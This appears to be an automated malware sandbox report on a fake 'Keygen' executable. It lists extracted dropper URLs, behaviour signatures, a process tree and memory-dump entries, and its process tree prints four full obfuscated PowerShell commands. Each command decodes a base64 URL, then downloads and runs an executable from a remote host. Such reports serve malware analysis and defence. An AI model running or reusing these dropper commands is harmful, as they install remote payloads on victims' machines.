3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
11s
max time network
165s
platform
windows10_x64
resource
win10
submitted
02-10-2020 21:14

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (31) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Signatures

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Keygen.exe

pid process

1508 Keygen.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

2068 timeout.exe
3536 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings cmd.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

3868 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 3868 powershell.exe
Token: SeDebugPrivilege 3288 powershell.exe
Token: SeDebugPrivilege 2168 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Keygen.exe

pid process

1508 Keygen.exe

pid	process
1508	Keygen.exe

pid	process
2068	timeout.exe
3536	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000_Classes\Local Settings	cmd.exe

pid	process
3868	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3868	powershell.exe
Token: SeDebugPrivilege	3288	powershell.exe
Token: SeDebugPrivilege	2168	powershell.exe

pid	process
1508	Keygen.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

Keygen — копия (31) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 3968 wrote to memory of 1240	3968	Keygen — копия (31) — копия.exe	cmd.exe
PID 3968 wrote to memory of 1240	3968	Keygen — копия (31) — копия.exe	cmd.exe
PID 3968 wrote to memory of 1240	3968	Keygen — копия (31) — копия.exe	cmd.exe
PID 1240 wrote to memory of 1508	1240	cmd.exe	Keygen.exe
PID 1240 wrote to memory of 1508	1240	cmd.exe	Keygen.exe
PID 1240 wrote to memory of 1508	1240	cmd.exe	Keygen.exe
PID 1240 wrote to memory of 1724	1240	cmd.exe	mshta.exe
PID 1240 wrote to memory of 1724	1240	cmd.exe	mshta.exe
PID 1240 wrote to memory of 1724	1240	cmd.exe	mshta.exe
PID 1240 wrote to memory of 1500	1240	cmd.exe	mshta.exe
PID 1240 wrote to memory of 1500	1240	cmd.exe	mshta.exe
PID 1240 wrote to memory of 1500	1240	cmd.exe	mshta.exe
PID 1240 wrote to memory of 2068	1240	cmd.exe	timeout.exe
PID 1240 wrote to memory of 2068	1240	cmd.exe	timeout.exe
PID 1240 wrote to memory of 2068	1240	cmd.exe	timeout.exe
PID 1240 wrote to memory of 3732	1240	cmd.exe	mshta.exe
PID 1240 wrote to memory of 3732	1240	cmd.exe	mshta.exe
PID 1240 wrote to memory of 3732	1240	cmd.exe	mshta.exe
PID 1724 wrote to memory of 2168	1724	mshta.exe	powershell.exe
PID 1724 wrote to memory of 2168	1724	mshta.exe	powershell.exe
PID 1724 wrote to memory of 2168	1724	mshta.exe	powershell.exe
PID 3732 wrote to memory of 3868	3732	mshta.exe	powershell.exe
PID 3732 wrote to memory of 3868	3732	mshta.exe	powershell.exe
PID 3732 wrote to memory of 3868	3732	mshta.exe	powershell.exe
PID 1240 wrote to memory of 4048	1240	cmd.exe	mshta.exe
PID 1240 wrote to memory of 4048	1240	cmd.exe	mshta.exe
PID 1240 wrote to memory of 4048	1240	cmd.exe	mshta.exe
PID 1500 wrote to memory of 3288	1500	mshta.exe	powershell.exe
PID 1500 wrote to memory of 3288	1500	mshta.exe	powershell.exe
PID 1500 wrote to memory of 3288	1500	mshta.exe	powershell.exe
PID 1240 wrote to memory of 3536	1240	cmd.exe	timeout.exe
PID 1240 wrote to memory of 3536	1240	cmd.exe	timeout.exe
PID 1240 wrote to memory of 3536	1240	cmd.exe	timeout.exe
PID 4048 wrote to memory of 1740	4048	mshta.exe	powershell.exe
PID 4048 wrote to memory of 1740	4048	mshta.exe	powershell.exe
PID 4048 wrote to memory of 1740	4048	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (31) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (31) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3968

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\29E4.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (31) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1240

C:\Users\Admin\AppData\Local\Temp\29E4.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1508

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29E4.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1724

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2168

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29E4.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1500

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3288

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:2068

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29E4.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3732

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3868

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\29E4.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4048

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:1740

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:3536

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\29E4.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\29E4.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\29E4.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\29E4.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\29E4.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\29E4.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\29E4.tmp\start.bat

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memory/1240-0-0x0000000000000000-mapping.dmp

Download
memory/1500-9-0x0000000000000000-mapping.dmp

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memory/1508-3-0x0000000000000000-mapping.dmp

Download
memory/1508-2-0x0000000000000000-mapping.dmp

Download
memory/1724-7-0x0000000000000000-mapping.dmp

Download
memory/1740-35-0x00000000701F0000-0x00000000708DE000-memory.dmp

Filesize
6.9MB

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memory/1740-27-0x0000000000000000-mapping.dmp

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memory/2068-10-0x0000000000000000-mapping.dmp

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memory/2168-14-0x0000000000000000-mapping.dmp

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memory/2168-26-0x00000000701F0000-0x00000000708DE000-memory.dmp

Filesize
6.9MB

Download
memory/3288-28-0x00000000701F0000-0x00000000708DE000-memory.dmp

Filesize
6.9MB

Download
memory/3288-18-0x0000000000000000-mapping.dmp

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memory/3536-22-0x0000000000000000-mapping.dmp

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memory/3732-13-0x0000000000000000-mapping.dmp

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memory/3868-24-0x00000000701F0000-0x00000000708DE000-memory.dmp

Filesize
6.9MB

Download
memory/3868-15-0x0000000000000000-mapping.dmp

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memory/3868-29-0x0000000007200000-0x0000000007201000-memory.dmp

Filesize
4KB

Download
memory/3868-32-0x0000000007950000-0x0000000007951000-memory.dmp

Filesize
4KB

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memory/4048-17-0x0000000000000000-mapping.dmp

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